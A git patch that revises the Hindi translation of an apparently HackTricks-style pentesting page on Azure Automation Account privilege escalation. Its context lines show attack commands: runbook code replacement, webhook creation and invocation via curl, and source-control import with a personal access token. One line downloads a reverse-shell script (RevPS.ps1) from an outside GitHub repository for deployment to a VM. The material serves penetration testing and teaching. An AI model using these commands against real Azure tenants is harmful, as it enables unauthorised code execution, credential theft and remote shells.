From c7be127382651959d4730c8b2e23c6748c3fd08e Mon Sep 17 00:00:00 2001 From: Translator Date: Fri, 9 May 2025 11:45:44 +0000 Subject: [PATCH] Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation --- .../az-automation-accounts-privesc.md | 43 ++++++------------- 1 file changed, 14 insertions(+), 29 deletions(-) diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md index e37859fce..d1a5a3b2f 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md @@ -23,7 +23,7 @@ - **VM से Automation Account तक** -इसके अलावा, यदि कोई एक VM को समझौता करता है जहां एक ऑटोमेशन खाता स्क्रिप्ट चल रही है, तो वह **Automation Account** मेटाडेटा को ढूंढ सकेगा और VM से इसे एक्सेस करके **Managed Identities** के लिए टोकन प्राप्त कर सकेगा जो Automation Account से जुड़े हैं। +इसके अलावा, यदि कोई एक VM को समझौता करता है जहां एक ऑटोमेशन खाता स्क्रिप्ट चल रही है, तो वह **Automation Account** मेटाडेटा को ढूंढ सकेगा और VM से इसे एक्सेस करके **Managed Identities** के लिए टोकन प्राप्त कर सकेगा जो ऑटोमेशन खाता से जुड़े हैं। जैसा कि निम्नलिखित छवि में देखा जा सकता है, VM पर व्यवस्थापक पहुंच होने पर **प्रक्रिया के पर्यावरण चर** में ऑटोमेशन खाता मेटाडेटा सेवा तक पहुंचने के लिए URL और गुप्त को खोजना संभव है: @@ -34,7 +34,7 @@ संक्षेप में, ये अनुमतियाँ **Automation Account में Runbooks बनाने, संशोधित करने और चलाने** की अनुमति देती हैं, जिसका उपयोग आप **Automation Account के संदर्भ में कोड निष्पादित करने** और असाइन की गई **Managed Identities** के लिए विशेषाधिकार बढ़ाने और **क्रेडेंशियल्स** और **एन्क्रिप्टेड वेरिएबल्स** को लीक करने के लिए कर सकते हैं। -अनुमति **`Microsoft.Automation/automationAccounts/runbooks/draft/write`** Automation Account में एक Runbook के कोड को संशोधित करने की अनुमति देती है: +अनुमति **`Microsoft.Automation/automationAccounts/runbooks/draft/write`** ऑटोमेशन खाते में एक रनबुक के कोड को संशोधित करने की अनुमति देती है: ```bash # Update the runbook content with the provided PowerShell script az automation runbook replace-content --no-wait \ @@ -75,7 +75,7 @@ az automation runbook create --automation-account-name --resource ``` ### `Microsoft.Automation/automationAccounts/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action` -यह अनुमति उपयोगकर्ता को **Automation Account** में उपयोगकर्ता प्रबंधित पहचान **सौंपने** की अनुमति देती है: +यह अनुमति उपयोगकर्ता को **Automation Account** को उपयोगकर्ता प्रबंधित पहचान सौंपने की अनुमति देती है: ```bash az rest --method PATCH \ --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts/?api-version=2020-01-13-preview" \ @@ -138,33 +138,18 @@ az rest --method PUT \ ### `Microsoft.Automation/automationAccounts/webhooks/write` -अनुमति **`Microsoft.Automation/automationAccounts/webhooks/write`** के साथ, Automation Account के भीतर एक Runbook के लिए एक नया Webhook बनाने के लिए निम्नलिखित कमांड का उपयोग किया जा सकता है। - -ध्यान दें कि आपको उपयोग करने के लिए टोकन के साथ **webhook URI** को **संकेत** करना होगा। +अनुमति **`Microsoft.Automation/automationAccounts/webhooks/write`** के साथ, Automation Account के अंदर एक Runbook के लिए एक नया Webhook बनाने के लिए निम्नलिखित कमांड का उपयोग किया जा सकता है। +```bash +New-AzAutomationWebHook -Name -ResourceGroupName -AutomationAccountName -RunbookName -IsEnabled $true +``` +यह कमांड एक वेबहुक URI लौटाना चाहिए जो केवल निर्माण के समय प्रदर्शित होता है। फिर, वेबहुक URI का उपयोग करके रनबुक को कॉल करने के लिए ```bash -az rest --method PUT \ ---url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//webhooks/?api-version=2018-06-30" \ ---body '{ -"name": "", -"properties": { -"isEnabled": true, -"expiryTime": "2026-01-09T20:03:30.291Z", -"parameters": {}, -"runOn": null, -"runbook": { -"name": "" -}, -"uri": "https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=Ts5WmbKk0zcuA8PEUD4pr%2f6SM0NWydiCDqCqS1IdzIU%3d" -} -}' - -# Then, to call the runbook using the webhook curl -X POST "https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=Ts5WmbKk0zcuA8PEUD4pr%2f6SM0NWydiCDqCqS1IdzIU%3d" \ -H "Content-Length: 0" ``` ### `Microsoft.Automation/automationAccounts/runbooks/draft/write` -बस `Microsoft.Automation/automationAccounts/runbooks/draft/write` अनुमति के साथ, **एक Runbook का कोड अपडेट करना** संभव है बिना इसे प्रकाशित किए और इसे निम्नलिखित कमांड का उपयोग करके चलाना। +केवल अनुमति `Microsoft.Automation/automationAccounts/runbooks/draft/write` के साथ, **एक Runbook के कोड को बिना प्रकाशित किए अपडेट करना** और इसे निम्नलिखित कमांड का उपयोग करके चलाना संभव है। ```bash # Update the runbook content with the provided PowerShell script az automation runbook replace-content --no-wait \ @@ -190,7 +175,7 @@ az rest --method get --url "https://management.azure.com/subscriptions/9291ff6e- ``` ### `Microsoft.Automation/automationAccounts/sourceControls/write`, (`Microsoft.Automation/automationAccounts/sourceControls/read`) -यह अनुमति उपयोगकर्ता को Automation Account के लिए **एक स्रोत नियंत्रण कॉन्फ़िगर** करने की अनुमति देती है, जैसे कि निम्नलिखित कमांड का उपयोग करते हुए (यह Github को उदाहरण के रूप में उपयोग करता है): +यह अनुमति उपयोगकर्ता को **Automation Account** के लिए एक स्रोत नियंत्रण को कॉन्फ़िगर करने की अनुमति देती है, जैसे कि निम्नलिखित कमांड का उपयोग करते हुए (यह उदाहरण के लिए Github का उपयोग करता है): ```bash az automation source-control create \ --resource-group \ @@ -205,12 +190,12 @@ az automation source-control create \ --token-type PersonalAccessToken \ --access-token github_pat_11AEDCVZ ``` -यह स्वचालित रूप से Github रिपॉजिटरी से रनबुक को ऑटोमेशन अकाउंट में आयात करेगा और कुछ अन्य अनुमतियों के साथ उन्हें चलाना शुरू करने पर **privileges को बढ़ाना संभव होगा**। +यह स्वचालित रूप से Github रिपॉजिटरी से रनबुक को ऑटोमेशन अकाउंट में आयात करेगा और कुछ अन्य अनुमतियों के साथ उन्हें चलाना शुरू करने पर **अधिकारों को बढ़ाना संभव** होगा। -इसके अलावा, याद रखें कि ऑटोमेशन अकाउंट में स्रोत नियंत्रण काम करने के लिए, इसमें एक प्रबंधित पहचान होनी चाहिए जिसमें **`Contributor`** भूमिका हो और यदि यह एक उपयोगकर्ता प्रबंधित पहचान है, तो MI का क्लाइंट आईडी को वेरिएबल **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`** में निर्दिष्ट किया जाना चाहिए। +इसके अलावा, याद रखें कि ऑटोमेशन अकाउंट में स्रोत नियंत्रण काम करने के लिए, इसमें **`Contributor`** भूमिका के साथ एक प्रबंधित पहचान होनी चाहिए और यदि यह एक उपयोगकर्ता प्रबंधित पहचान है, तो MI का क्लाइंट आईडी वेरिएबल **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`** में निर्दिष्ट किया जाना चाहिए। > [!TIP] -> ध्यान दें कि एक बार स्रोत नियंत्रण का निर्माण हो जाने के बाद, इसके रिपॉजिटरी URL को बदलना संभव नहीं है। +> ध्यान दें कि एक बार स्रोत नियंत्रण का रिपॉजिटरी URL बनाए जाने के बाद इसे बदलना संभव नहीं है। ### `Microsoft.Automation/automationAccounts/variables/write` @@ -266,7 +251,7 @@ wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1 - Step 5 — Publish Configuration File -कॉन्फ़िगरेशन फ़ाइल को निष्पादित किया जाता है, जिसके परिणामस्वरूप रिवर्स-शेल स्क्रिप्ट को Windows VM पर निर्दिष्ट स्थान पर तैनात किया जाता है। +कॉन्फ़िगरेशन फ़ाइल निष्पादित की जाती है, जिसके परिणामस्वरूप रिवर्स-शेल स्क्रिप्ट को Windows VM पर निर्दिष्ट स्थान पर तैनात किया जाता है। - Step 6 — Host Payload and Setup Listener